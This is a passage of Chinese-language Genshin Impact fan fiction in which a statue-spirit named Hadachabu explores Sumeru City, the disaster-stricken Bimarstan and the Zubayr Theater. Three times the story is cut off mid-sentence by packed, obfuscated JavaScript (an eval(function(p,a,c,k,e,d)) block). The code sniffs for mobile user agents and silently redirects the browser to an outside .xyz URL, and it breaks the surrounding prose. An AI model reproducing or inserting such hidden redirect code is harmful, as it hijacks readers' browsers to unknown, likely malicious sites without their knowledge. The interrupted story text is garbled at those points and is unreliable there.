“像库洛什这样,在表演艺术上极其驽钝,可能奋斗一辈子都无缘人前的正式表演,按理说我不应该任由他把大量的时间精力花费在这条路上。”
“但这样心无旁骛的执着才是他难能可贵的地方,所以你非但没有劝阻,没有让他去接触这些过于……现实的考量,反而严格地要求他,对吧?”
“……这么说也没错,其实我只是觉得,他对自己的人生很负责,有过专心致志精进自己热爱的事业这样的经历,就算他未来不知道什么时候,终于无法坚持了不再执着了,到了其他的道路上,他也会因曾有过这么一段坎坷但充实的时光,而充满面对生活的力量。”
“而在那之前,只要他还诚心接受批评,我就会好好指导他,争取让他能在表演这项事业上学到更多。”
哈达察布不得不感慨,这世上总有些人群得天独厚。
单这祖拜尔剧场,有艺冠群芳的妮露,有世事洞明的经理,下属用功,金主不吝,是以喜爱者甚众,口碑极好,台上台下双向奔赴,良性循环。
比起教令院那种大热ip,这个团队规模很小,但整个运作链条你找不出一个正儿八经的短板——就算是那个名叫库洛什的杂耍演员,他在这个团队里的存在本身,就已经是他如今最大的价值所在。
他完全可以作为所有新人刚进团时的学习样板。
这位看起来平平无奇的剧场经理确实给了他一个大惊喜——
企业文化。
棱角分明,但并不过于锋利,会主动出击,但不伤人,总结起来,除了受限于头部难以扩大规模、受限于主体难以更上一层楼之外,是个会过日子的可持续发展潜力股。
“狼群很少优待不善战的家族成员。”会像祖拜尔剧场这样善待一匹驽马的团队很少见。
谢赫祖拜尔笑了:“我们的表演是要给人欣赏的,自然不能按照狼群的标准来管理,无论如何,他们首先得是个人,就算有如狼似虎的恶敌,也得用人的方式去应对。”
作为妮露的朋友,你总不能差得太远吧。
哈达察布肃然起敬:“智慧之神必定格外钟爱你们。”
这倒不是在奉承。
毕竟是妮露认可的势力归属,这个剧场尽管比不上璃月港那种在高维意志中与钟离先生等诸多大热ip高度捆绑的地方,但总要比大多数势力距离神明更近一些的。
风浪越大鱼越贵,在提瓦特这种神治之所,一个势力只要有一个热点,就足以立身。
须弥的野外快速被灾异占领,而人群聚居的须弥城和维摩庄尚且安然无恙,甚至不少人根本没有异变来袭的实感,日常生活与往常几乎无二。
好像那种让世界树都慢慢被拖入自崩解境地的漆黑并非迫在眉睫,而只是各种作品里遥远的传奇故事。
从这个角度来看,他们是被偏爱的。
“哈哈…那便借你吉言了。”
谢赫祖拜尔只当哈达察布认同了他的想法,这是在说吉祥话。
休息的时间是短暂的,谢赫祖拜尔很快就结束了闲聊,再度回到了忙碌的排练现场。
哈达察布又成了单出来的那个人。
好在,这并没有持续多久,不知从哪个犄角旮旯里冒出来的熟人打破了这种不太合群的清静。
“怎么样?有没有感觉,这一趟来得太值得了?”迪希雅一见面,就推过来一个形状奇特的物件,“呶,这个是给你的,在须弥城要是没有这个,很多事都不方便办。”
她撩了撩自己耳边的碎发,让哈达察布看清了她耳朵上和她的打扮格格不入的新挂件,“虚空终端,须弥的大家都有,在须弥城里生活必不可少的超——便捷工具,总不能落下你一个,像这样戴上,然后终端里面有教怎么用,很简单的。”
大名鼎鼎的虚空终端,来自教令院,乃神明的遗泽所致,可集须弥众灵之识,一切思闻见知于此通流无阻。
其之于须弥,正如摩拉之于璃月。
哈达察布拿起桌上的新终端打量着,一边道:“此物莫非仅此一款?其与你我着装打扮并不和谐。”
“可不是嘛!老早我就想说了,这绿油油的终端挂在耳朵上,再要搭出好看的衣服穿搭是很难的,”迪希雅
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279219|182475||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点了点自己耳边的终端,无奈道,“它这个绿色太亮了,这么多年了不说出新款式,连这个绿色都没得改。”
“据说此物出自须弥神明之恩泽,你这般话之,若叫守旧些的人听去,我以为,不说剑拔弩张,少说也得平白吃上一通说教。”
迪希雅忙不迭地点赞:“唔,你是懂老顽固的。我都能想象出那帮子人会怎么咧咧,‘神明何等仁慈慷慨的恩泽!你竟如此厚颜无耻挑三拣四!不知感恩的东西!’……而对你这种明显来自异邦的人,他们会:‘呵,我智慧之国神赐恩典,愚蠢的外邦人岂能明白?’”
“听闻此言,还以为你有意向加入祖拜尔剧场,这倨傲语气倒是仿得活灵活现。”
“嘿嘿……我是没妮露那个本事,表演还能演到大舞台上去,不过如果只是兴致一起随意玩耍,按这种标准,很多佣兵都是能歌善舞的。”
“你是说那种没有调子的号子和随意蹦跶的舞蹈吗?”
不怪哈达察布这么问,毕竟一般来说,受教育水平低的人群确实更不容易得到成熟的音乐艺术教育。有些原本音感处于正常水平的人,也会因为从小听的都是三尖八角的调子,而把音痴这个属性从上一代传承下来。
“哎呀,唱歌跳舞最重要的得是自己高兴!”迪希雅竖起食指摇了摇,“我说你啊,这么讲究又矜持,估计从来没有像我说的这样随性表演过吧?”
“确实不曾,表演一道非我所长,”你不能要求一尊神像能歌善舞。
庆云顶是很清静的地方。许是生于斯长于斯,长久以来居移气养移体地耳濡目染,加上神像本身作为石相之物,自带“静”的习性——
神像不是群居动物,与久居深山却依旧心向红尘的人,终究有着本质的区别。
他喜静,喜爱独处的感觉,歌舞之类的表演,作为在群体中一开始是作为重要的社交手段开发出来的活动,与他的相性几乎是基于他对人类历史的欣赏才成立的,“若要我去表演个什么节目,这也太为难我了,还不如就在旁为精彩的表演捧场。”
对迪希雅来说,这种“不擅长的直接不表达”的规矩实在太不友好了,“诶~我就不问你擅长什么了,省得我不知不觉学了你这套讲究,把自己过得条条框框的。”她注意到哈达察布一直盘着手里的虚空终端在打量,“看出什么来了?不试试吗?”
哈达察布看着虚空终端,理所当然地联想到了没多久之前才看过的,那棵轮廓像狗啃过好几轮一样凄凄惨惨、离死还有些距离但这么下去早晚得死的通天巨树。
据说须弥的虚空终端是通过世界树通联众志的。
那么问题来了……
他之前看到的世界树都变成那个鬼样子了,按理说与之通联的各个终端没道理毫无影响——
所以,这些影响被转移了吗?特意不让灾异影响这座城市歌舞升平的面上光,那些影响会被转移到哪里去了呢?
“不急,索性你都将它给我了,又没长腿能自己跑掉。”他扬眉道,神色意味深长,“我会善用它的。”
12. 歌舞升平之下
鉴于来须弥城的初衷是想要到健康之家看看,哈达察布出于进出方便的考量,便打算在那左近找临时的落脚点。
健康之家是整个须弥最顶尖的医疗机构,和教令院一样,它只是在这里,就能吸引来无数的资源围着它转。
器械,药物,日用,餐饮,住宿,中介……多种产业围绕着这处医疗资源的富集地展开,只消在街上走一圈,便能清晰地感受到其在这一领域的统治力,远胜于只是作为疗养优选的维摩庄。
这是在庆云顶上,只是上网冲浪根本接触不到的真实。
必须承认,在找住宿的路上货比三家是一种很新奇的体验。
手头的摩拉不多,大头来自离开桓那兰那之后,一路上慢慢收集的各种东西变卖所得,只有少部分来自有缘的患者之属。
别的不说,单就是须弥的雨林地区,劫波莲和树王圣体菇这种东西,对普通人而言,采集难度摆在那里,产能上不来,价格自然也下不去。
认识钟离先生本人的都知道,钟离先生很能花钱——按他本人的说法,听戏要点最红的名伶,遛鸟要最名贵的画眉。
言谈举止无不高华,衣食住行无不矜贵,这样耀眼的标志总会立刻吸引住所有关注他的目光,加上贵金天生的不同凡响,总叫人以为,他生来理当高坐琼楼。
可很多人总忘了——
璃月文化血脉中奔涌无休的侠情浩气;
千岩铁骨铮铮然长驱鬼魅的阳刚大义。
他是会背地里花费穷苦人家望之生畏的高价为之带回其先人遗物的仗义之辈,也是引领璃月蹚过了数千载风风雨雨的仙祖人皇。
仗义疏财是璃月人不起眼却源远流长的浪漫。
虽说自认只是个莫名顶了钟离先生形貌的西贝货,可哈达察布却奇异地无师自通了钟离式消费的精髓。
这导致他短时间内能够拿下的住所并不是一处住起来很舒适的地方——至少有比这更好的选择,只是这会儿他用不起。
哈达察布对此有点无奈,但也知道这才是正常人应该有的生活。
像钟离先生那样,明面上虽说老是不带摩拉,却能记账解决多种开销的——众所周知,能用钱解决的问题都不是问题,钟离先生这所谓的尘世闲游,水分一眼可知。
想点儿好的,至少在尘世闲游这块,他这也算是遥遥领先了一回嘛。
唉,他这无缘无故的攀比之心啊,这样不好,不好。
像个正常人类一样在屋里躺到天亮,哈达察布快速洗漱拾掇完自己,便神清气爽地往健康之家的方向走去。
他这江湖郎中来顶尖医馆观摩一趟,就那么点直线距离,却因为这狗屁倒灶的灾异,前前后后跑了将近三个月——
哈达察布都佩服他自己,在明明可以改弦易辙的情况下,愣是不忘初心地来到他在桓那兰那时随便挑的目的地。
幸运的是,这一趟来对了,他选择了游医这一定位因而前来健康之家进行观摩,并非一无所获。
可坏就坏在,健康之家是一所医馆,还是公认的全须弥最好的医馆。
所以,非常不幸,这一趟,他来对了。
健康之家正处于空前繁忙的状态,他看见导诊的医疗人员拿着笔刷,在往患者的脸上或者其他什么地方做记号。
很多躺着的人身上,甚至连能做记号的地方都没有。
因为在场的患者足够多,所以哈达察布很快就理解了对方各种标记代表的意义,那是患者当中不同程度的轻重症。
让他迅速理解到事态严重程度的是,那些被画了重症、也明摆着是重症的患者,并没有在被抢救,甚至都没有在红区。
医疗人员快速周转着轻症的人,在标注中度的人身上多花一点时间,让这些人不会在这里因为更长久的等待而堆积成新的躁动来源。
唯有那些长着大量黢黑鳞片的、甚至不需要标注就可以直接晾在那里的重症患者,好像被健康之家这个须弥医疗系统最后的希望遗忘了一样。
这意味着,医疗资源已经紧张到需要人为地区分生存难易的优先级,优先保证容易活得更久的人真的能活得更久。
这些寻常的、经验老辣的医者们已经竭尽所能,但可以预见的是,面对这样大规模的、彻底失控的魔鳞病,他们的挣扎依旧只是杯水车薪。
想想魔鳞病这种奇病的来源,哈达察布福至心灵地明白了灾异在须弥城的表现形式。
甚至他能想象,要不是这里是离这个国度的执政神明最近的地方,这座繁荣城池里的生灵,怕不是早就全都同这些被送来健康之家、却匀不到任何资源来治疗的倒霉蛋一样,在无力中被这一身漆黑吃掉所有生息——
没了人气的城池会在很短的时间内,变得与野外一般无二。
可如今,它还是一副歌舞升平光鲜亮丽的和平景象,或者说,它暂时没有变成那样。
显而易见,有了不起的勇者正在为了这一瞬的海晏河清负重前行。
可即便如此,依旧免不了会有一部分人,无法成为那短暂安乐的一份子。
狮群会抛弃染上瘟疫的同族,牺牲这些一无所知的人,已经是没有办法的办法。
听起来就很伪善,但现实就是,在能力有限的情况下,一视同仁只会招致更大的残忍。
冰冷的理智是这么告诉他的。
哈达察布知道这没错,可他的眼睛总忍不住地,更多地注视那些已经一动不动的倒霉蛋,就像是长久盯着小说的某个段落,却一个字都没看进去。
高维视角中,如今的他们都只是一个个只剩建模的空壳。
他没白来,非要说有什么好消息,至少他知道了人群聚居的场所并非面对灾异的免死金牌——歌舞升平之下,依旧有许许多多的人因此死于非命。
须弥城都是如此了,想来此前经停的安居祥和的维摩庄也没道理是那个例外。
甚至更糟糕的是,他几经波折来到健康之家,却发现自己什么都做不了。
七天神像能回复生命的前提,得是想要作用
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279220|182475||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
到的对象还有生命这种东西,而不是只有空壳一个的建模。
而刨除七天神像本身的天赋,他甚至还不如这些忙到脚打后脑勺的医疗人员——至少能在健康之家工作的医疗人员,无不是久经考验经验老辣之辈,比起他这个对本地情况毫不了解的半吊子强多了。
他当初到底哪来的自信,觉得靠一门回血的天赋就能当个江湖郎中的?
哈达察布陷入了深深的自我怀疑。
虽然没有证据,但他总觉得不应该是这样的。
庆云顶的岚霞风光只会让他致虚守静靡坚不摧,上网冲浪可以接触到各种各样的知识但毕竟隔着网络、也并不能引起他的兴趣。
按理说,他不应该会产生“我能当个大夫”这种想法,更不会有付诸实践的底气——尤其是在钟离先生本人是个精益求精的讲究人的情况下,他会抱着这种“差不多得了”的心态入这一行,本就是非常不合理的。
他从未如此明确地意识到自己的不对劲——
不止是莫名从庆云顶来到须弥,也不止是莫名的建模错误,而是一些更核心的东西。
或者用他们七天神像的说法,就是他这边有数据丢失,而且报了warning。
直觉告诉他,应该有什么他不知道、至少现在不知道的东西,能作为支撑他这么想的底气——
比如,他会的东西很多。
可哈达察布再三检索自己,并没有新的发现。
被健康之家的酷烈现实打了个醒神的哈达察布心事重重地离开了医馆。
他是七天神像,能够为附近过往的路人回复生命,也能消除特定的一些状态,同时,他也是提瓦特世界构成中的重要环节。
想法可能有些傲慢,但他确实觉得既然被放在这么重要的位置上,那么自己是有义务去为这样糟糕的现状做些什么。
要按钟离先生的话说,契约是要讲究公平的,也即权利与义务对等。
可哈达察布一时间竟不知道该做些什么好了。
将就的江湖郎中肯定不能继续干的,这个没得商量。
净善宫里的草神倒是一个非常好的介入途径——她大概率清楚现状如何,就须弥当下城荒差异的结果来看,她也已经做出了有效的应对,即便只是扬汤止沸,也切实延缓了灾厄的脚步。
想得挺美,除了见不到人家之外,一切都好。
像之前那样在野外顺手挖点儿东西出来卖也还不错,毕竟只有他自己的话不需要担心死域的伤害,风浪越大鱼越贵,只有野外才出产的东西在供应端和货币端都逐渐周转艰难的趋势下,干这行妥妥的不愁没收入。
就是吧,须弥城周边物产材料并不丰富,他总不能把须弥城普通原住民的活路给堵死了。
他不需要进食,可人是需要的。
就在他思绪万千时,却听见一个意外的声音叫住了他:“您是……昨晚的哈达察布先生?”
叫住他的人,是昨晚才在大巴扎见过的,祖拜尔剧场的道具工程师。
13. 敬业者与无业者
叫住他的女人有着一口和人//妻脸很有反差感的干练御姐音:“好巧,自我介绍一下,我是祖拜尔剧场的道具工程师内嘉,负责剧场的道具设计制作和场地设施维护。”
“经理和妮露昨晚跟我们简单介绍了您,非常感谢您对我们的支持。在看过昨天的排练之后,您对我们剧场有什么指教吗?有什么您认为需要改进的吗?”
很奇怪。
哈达察布不动声色地打量对方,心下暗自嘀咕。
自己这两天碰到这种没什么边界感、没忌讳交浅言深的人,是不是频率太高了点儿?
昨天主打“朋友的朋友就是朋友”的妮露,以及“您是如何看待妮露的”的谢赫祖拜尔。
今天赶巧遇上的这位,也不知是长期养成的职业习惯还是怎么的,演都不带演了。
他无法相信对方是真的抱着纯粹的请教的心思叫住他,问出这个问题——巧合过于密集,他很难相信这还是巧合。
就当他是被害妄想症吧,在他的感觉中,这些异常都像一个又一个的树井,隐晦又明确地告诉他“我有问题,要么离远点,要么查下去看个明白”。
他自认还没有自作多情到认为查清这些异常是自己的义务——那是杀毒软件的工作。
理智上是这么想,但哈达察布不好直接说出来:“指教不敢当,表演一道奥妙无穷,区区不过一介闲人,不曾研学此道,确是看不出好赖的。”
可能情况没有那么糟糕,但往不好的方向想一想还是有必要的。
是的,他大概率是被做局了。
光是想一想都觉得自己要裂开来(物理)。
他就一尊老实本分的岩神像,手无缚鸡之力,身无寸箭之功,他到底哪里被看上了,他改还不行吗?
哦,再想想神像这种石质的东西,都是石头了,加上是自带建模的神像,要改那妥妥的难上加难。
哈达察布越想越糟心,已经哈不出来了,现在暂时是达察布( ̄^ ̄)
内嘉感觉自己后背浮上了一层白毛汗,有种在野外取景时被大型魔兽盯上的颤栗感。
她下意识地挪开了和这个人对视的目光,但很快又意识到自己只是问了个问题,这种恐惧退缩来得毫无道理,便又再次看了回去。
这人生得极好。
任何一个集中精神去打量这个人的人都会第一时间这么想,内嘉也不例外。
金灵朱角,面相英挺,修筋健骨,身形矫捷,除了看不出什么情绪的表情之外,其他的部分各有各的妙。
的确,这种带着金属感的重瞳没什么表情地盯着自己,就像拿着铁钎指着人一样,哪怕眼角的艳色中和了一些攻击性,依旧容易让人产生不适感。
内嘉把自己刚刚的不自在归结为对方样貌自然造成的特点,只顺着对方的话往下说:“大部分须弥人都是这样的。”
换句话说,这样的人认为需要改进的地方,能代表相当一部分人群认为需要改进。
她拒绝了哈达察布的托辞,“总之,您能觉得满意那真是太好了,说明我更应该坚持我所坚持的。”
“您所坚持的?”
“是的,您应该也知道,有许多东西在对漆黑的战争里已经散佚难以考据,包括舞蹈表演,也是一样的。”内嘉望着教令院的方向,语气莫名的沧桑:“因为部分染色工艺传承断代,经理和妮露他们不得不对一支经典的舞蹈进行大幅度改编,以更好地还原出原舞蹈强调的‘清晨的森林中流转着霞光的岚雾’。”
“每天看着他们抽空演练修改,我总会想,如果我能复原出原本的染色工艺,还原出五百年前的服装道具,配合改编的舞蹈,一定可以让这支舞更上一层楼吧。”
工程师说着,惋惜地叹了口气,“可惜虚空终端上能查到的有用信息太少了,根本不足以复原当时的工艺,搞得我只能到教令院去,看看能不能在那些不方便录入终端的实体资料里发现点儿什么。”
不是“他们的改编能够代偿原本的效果”,而是“改编本可以比原本更进一步”吗?
虽然无法抹消那些突兀的疑虑,但仅在追求卓越的认知上,哈达察布无法不对她、以及和她一样的同事们抱以基本的尊重。
像祖拜尔剧场这样的团队,哪怕受限于如今须弥的社会风气只是个下九流的演出团体,只要这样的作风能延续下去,未来必定会有出人头地的一日。
哈达察布不是他们中的一员,以他的立场,能做的也就只有给出一个小小的祝福:“那便祝你此番能够得偿所愿了。”
别过匆匆路过的陌生人,他慢慢地朝着须弥城外面走去。
在暂时不确定自己未来要做什么的时候,不妨先去做些一定没错的事,沉淀一下自己这一路的感悟思考。
须弥很大,相比路上见识到的一片狼藉的野外,须弥城对异变有着显而易见的抵抗力,至少灾异带来的泛滥的死域还没能出现在须弥城居民的视野里。
就好像那些无声无息扼杀了许多无辜生命的东西遥远得好像和他们不在一个世界。
但在提瓦特,视觉有时候也是一种非常反直觉的东西。
哈达察布在自己的领地上没见过,但曾经从某尊雷神像那里知道过一种奇观,在远处能看清东西,到了近处反而可能伸手不见五指。
这种据说在鹤观很常见的奇观,之前在船上的时候,他也领略了一番类似款式的。
事实上,这些异常与须弥城的距离并没有没出过远门的城里人想象的那么远。
又或者说,在逐渐深化与这片大地的斗争中,这些异常,它们也在进步,而且可能比人们想象的要更快一些。
他昨晚隔着防火墙在虚空终端里蹓了一圈,也对如今的须弥人对死域对异变的认知有了基本的了解。
以他的标准来看,他们的了解,就是几乎没有了解——或者说已经过时了,信息更新的速度完全跟不上,原本的认知根本不足以应付当前的境况。
检索虚空网络的结果显示,他之前在水路上碰到的大雾、从玥文那里听说的异常的白淞镇,这些非典型的异状,要么只有零星的议论凉得不能再凉,要么直接被压下去了,连一个足以示给公众的应急预案都拿不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279221|182475||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出来。
而灾异不会等人。
从刚离开桓那兰那时还算板正老实的死域相比,如今的灾异显然已经学会了伪装自己——不论是水路上的大雾,亦或是如今远观时不见异常的死域。
用他更熟悉的话来说,就是死域已经学会了给自己贴一个正常场景的贴图。
和人类的歹竹可能出好笋、疾病会逐渐耐药一样,数据总能在混乱中不小心整出一些新的点子来。
不止是人,就连草种子的供应,不论是点位还是强度,也都已经跟不上日新月异的异变。
草种子来自哪里?
追本溯源,这玩意儿可以说来自须弥的神明,那么是否可以大胆推测,草种子的分布和活性可以反映草神当前的状态?
想想平和的须弥城和维摩庄与颓败的野外之间的对比,再想想已经被啃得破破烂烂的世界树,有没有一种可能,维持现状已经是如今草神能够做到的最大程度的努力了?
所以现在,在野外清除死域时会面临的最大的问题,是草种子的活性撑不了那么久,很多时候在清除死域瘤之前就会失活。
尤其在死域的范围扩大、强度提升、甚至一个死域里可能会有不止一处死域瘤的情况下,所有知情者都不希望继续放任这种不力。
只是,到底能投入这项工作的劳动力实在太少太少了,就连他自己,也不过是仗着七天神像不惧灾异的特异性,才能如这般在外自如行走。
哈达察布挖了一些水晶矿回去。
作为神像,作为岩神像,作为地脉网络的关键点,在慧眼识矿这方面,他确实很有优势。
实地看下来,相比前一日,郊外的情况愈发差了,甚至到了他不能够挖到哪怕一棵须弥蔷薇的程度。
甜甜花和薄荷不是他应该挖的,那是给人们保留的不得已时能多少多捱一阵子的食物。
在这样的危机之下,对普通民众而言,不能吃不能穿不能取暖的矿石,便是品相再好,也是最优先可以被舍弃的资源类型。
但对掌握核心科技的精英而言,矿物的地位是截然不同的。
矿物,摩拉,原胚,一些特异的可能来自魔物、又或者其他多种奇异来源的材料,这些资源进行有序的纯化、堆垒、组合、熔炼,得到的产品——
可能能够净化,可能能够改善患者的病况,也可能能够带着少部分人逃离这个早晚要崩毁的、灭绝希望的世界。
他需要一个能够接触教令院真正高层的机会。
至少让他能够接入他们的圈子,能够顺理成章地、方便地知道他们实时的动向。
他们对这些灾异的研究到什么程度了?发现了什么吗?
城里有许多民众至今不说一无所知、说是一头雾水也是大差不差的,对民众这边,总不能指望拿“小吉祥草王会保佑无事”这种论调能一直搪塞下去。
嗯,方便的话,也尽可能争取见一见那位负重前行的草神吧。
他选出来的矿,可是不可多得的好东西呢,去大巴扎换一个见一见某个身居高位的教令官的机会,应该是足够了。